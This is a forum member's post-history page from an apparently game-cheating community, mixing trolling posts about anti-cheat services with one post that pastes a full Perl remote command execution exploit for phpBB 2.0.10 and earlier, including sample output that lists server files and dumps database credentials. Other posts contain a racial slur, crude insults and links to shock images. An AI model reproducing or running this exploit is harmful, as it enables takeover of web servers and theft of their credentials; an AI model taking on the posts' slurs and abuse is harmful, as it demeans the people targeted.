Jump to content

naler

Members
  • Joined

Everything posted by naler

  1. naler posted a post in a topic in Other Games
    we should all just rise as one and slay stoned gorilla.
  2. naler posted a post in a topic in General Discussion
    teh intranet is invisible! it's a figment of our imagi|nation! it does not exist. yet when myg0t g0t dd0s, somehow our figments dissappeared!
  3. I'm a janitor at mcdonalds. I barely make enough to pay my isp. I goto my closet, turn out the light, and cry to myself while I listen to Neil Diamond. just fucking with you. I work for IT for the county.
  4. since they've fixed the exploits. I'll just post this nice perl source app exploit. #!/usr/bin/perl use IO::Socket; ## ## phpBB <= 2.0.10 remote commands exec exploit ## based on http://securityfocus.com/archive/1/380993/2004-11-07/2004-11-13/0 ## succesfully tested on: 2.0.6 , 2.0.8 , 2.0.9 , 2.0.10 ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## example... ## he-he-he ... read http://www.phpbb.com/phpBB/viewtopic.php?t=239819 ## The third issue, search highlighting, has been checked by us several times and we can do ## nothing with it at all. Again, that particular group admit likewise. In a future release ## of 2.0.x we will eliminate the problem once and for all, but as noted it cannot (to our ## knowledge and as noted, testing) be taken advantage of and thus is not considered by us to ## be cause for an immediate release. ## heh... ## ## phpbb2010.pl www.phpbb.com /phpBB/ 239819 "ls -la" ## *** CMD: [ ls -la ] ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## total 507 ## drwxr-xr-x 12 dhn phpbb 896 Oct 13 18:23 . ## drwxrwxr-x 19 root phpbb 1112 Nov 12 15:08 .. ## drwxr-xr-x 2 dhn phpbb 152 Oct 13 18:23 CVS ## drwxr-xr-x 3 dhn phpbb 944 Jul 19 15:17 admin ## drwxrwxrwx 5 dhn phpbb 160 Aug 14 21:19 cache ## -rw-r--r-- 1 dhn phpbb 44413 Mar 11 2004 catdb.php ## -rw-r--r-- 1 dhn phpbb 5798 Jul 19 15:17 common.php ## -rw-r--r-- 1 root root 264 Jul 2 08:05 config.php ## drwxr-xr-x 3 dhn phpbb 136 Jun 24 06:40 db ## drwxr-xr-x 3 dhn phpbb 320 Jul 19 15:17 docs ## -rw-r--r-- 1 dhn phpbb 814 Oct 30 2003 extension.inc ## -rw-r--r-- 1 dhn phpbb 3646 Jul 10 04:21 faq.php ## drwxr-xr-x 2 dhn phpbb 96 Aug 12 14:59 files ## -rw-r--r-- 1 dhn phpbb 45642 Jul 12 12:42 groupcp.php ## drwxr-xr-x 7 dhn phpbb 240 Aug 12 16:22 images ## drwxr-xr-x 3 dhn phpbb 1048 Jul 19 15:17 includes ## -rw-r--r-- 1 dhn phpbb 14518 Jul 10 04:21 index.php ## drwxr-xr-x 60 dhn phpbb 2008 Sep 27 01:54 language ## -rw-r--r-- 1 dhn phpbb 7481 Jul 19 15:17 login.php ## -rw-r--r-- 1 dhn phpbb 12321 Mar 4 2004 memberlist.php ## -rw-r--r-- 1 dhn phpbb 37639 Jul 10 04:21 modcp.php ## -rw-r--r-- 1 dhn phpbb 45945 Mar 24 2004 mods_manager.php ## -rw-r--r-- 1 dhn phpbb 34447 Jul 10 04:21 posting.php ## -rw-r--r-- 1 dhn phpbb 72580 Jul 10 04:21 privmsg.php ## -rw-r--r-- 1 dhn phpbb 4190 Jul 12 12:42 profile.php ## -rw-r--r-- 1 dhn phpbb 16276 Oct 13 18:23 rules.php ## -rw-r--r-- 1 dhn phpbb 42694 Jul 19 15:17 search.php ## drwxr-xr-x 4 dhn phpbb 136 Jun 24 06:41 templates ## -rw-r--r-- 1 dhn phpbb 23151 Mar 13 2004 viewforum.php ## -rw-r--r-- 1 dhn phpbb 7237 Jul 10 04:21 viewonline.php ## -rw-r--r-- 1 dhn phpbb 45151 Jul 10 04:21 viewtopic.php ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## phpbb2010.pl www.phpbb.com /phpBB/ 239819 "cat config.php" ## *** CMD: [ cat config.php ] ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ## $dbms = "mysql"; ## $dbhost = "localhost"; ## $dbname = "phpbb"; ## $dbuser = "phpbb"; ## $dbpasswd = "phpBB_R0cKs"; ## $table_prefix = "phpbb_"; ## ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ if (@ARGV < 4) { print q(############################################################ phpBB <=2.0.10 remote command execution exploit ############################################################ usage: phpbb2010.pl [url] [DIR] [NUM] [CMD] params: [url] - server url e.g. www.phpbb.com [DIR] - directory where phpBB installed e.g. /phpBB/ or / [NUM] - number of existing topic [CMD] - command for execute e.g. ls or "ls -la" ############################################################ ); exit; } $serv = $ARGV[0]; $dir = $ARGV[1]; $topic = $ARGV[2]; $cmd = $ARGV[3]; $serv =~ s/(http:\/\/)//eg; print "*** CMD: [ $cmd ]\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; $cmd=~ s/(.*);$/$1/eg; $cmd=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $topic=~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg; $path = $dir; $path .= 'viewtopic.php?t='; $path .= $topic; $path .= '&rush=%65%63%68%6F%20%5F%53%54%41%52%54%5F%3B%20'; $path .= $cmd; $path .= '%3B%20%65%63%68%6F%20%5F%45%4E%44%5F'; $path .= '&highlight=%2527.%70%61%73%73%74%68%72%75%28%24%48%54%54%50%5F%47%45%54%5F%56%41%52%53%5B%72%75%73%68%5D%29.%2527'; $socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-] CONNECT FAILED\r\n"; print $socket "GET $path HTTP/1.1\n"; print $socket "Host: $serv\n"; print $socket "Accept: */*\n"; print $socket "Connection: close\n\n"; $on = 0; while ($answer = <$socket>) { if ($answer =~ /^_END_/) { print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; exit(); } if ($on == 1) { print " $answer"; } if ($answer =~ /^_START_/) { $on = 1; } } print "[-] EXPLOIT FAILED\r\n"; print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n"; ### EOF ###
  5. http://www.amazon.com/gp/product/customer-reviews/B00006EXDD/ref=cm_cr_dp_2_1/002-7161828-6512009?%5Fencoding=UTF8&me=ATVPDKIKX0DER&s=music sample of one of the comments:
  6. You're mistaken, Punk Buster has alot of backing, covering smaller games, and even larger ones like DooM3 CoD:UO and Ravenshield. groups behind it are wellknown, and most servers use the ban system. For instance http://www.punksbusted.com or http://www.pbbans.com have over 15,000 bans in total. Even more servers use the banlist.
  7. it's common fuckin sense dumbass. Steambans has about 1,000 participating dedicated servers, so take that number and compare with CS's 35,000 servers, 1 out of 35 servers uses it. Still, not hefty enough to get concerned about.
  8. forgetting http://steambans.com/ aren't we? but even tho, they're still not very distinct in cs source.
  9. naler posted a post in a topic in Flames
    you just pwned yourself.
  10. naler posted a post in a topic in Other Games
    AHAHHA you clicked it, pooned.
  11. naler posted a post in a topic in Other Games
    LOLLARSAKTES
  12. just a tad bit bigger than your penis.
  13. naler posted a post in a topic in Flames
    Nice fuck up, dipshit. :rape: EMO means..
  14. naler posted a post in a topic in Artwork Showcase
    in your face?
  15. naler posted a post in a topic in General Discussion
    I bet neither of you will ever sleep with a chick, besides your mommies!! gg kthx.
  16. naler posted a post in a topic in Steam Powered Games
    c&p pics onto each others and erase around em.
  17. naler posted a post in a topic in Steam Powered Games
    NO YOU STUPID NIGGERS IT'S BEEN PATCHED. IT DID WORK UNTIL I DECIDED TO TURN IT OFF. K?
  18. naler posted a post in a topic in Other Games
    or goto here: NWNbot v1.4
  19. http://sam.zoy.org/fun/goatse/pluto.gif :3some:
  20. naler posted a post in a topic in Artwork Showcase
    http://sam.zoy.org/fun/goatse/the_new_goatse.jpg :eek3d:
  21. naler posted a post in a topic in News
    really nice. Tried it and it allowed me to use rcon commands. Great shit.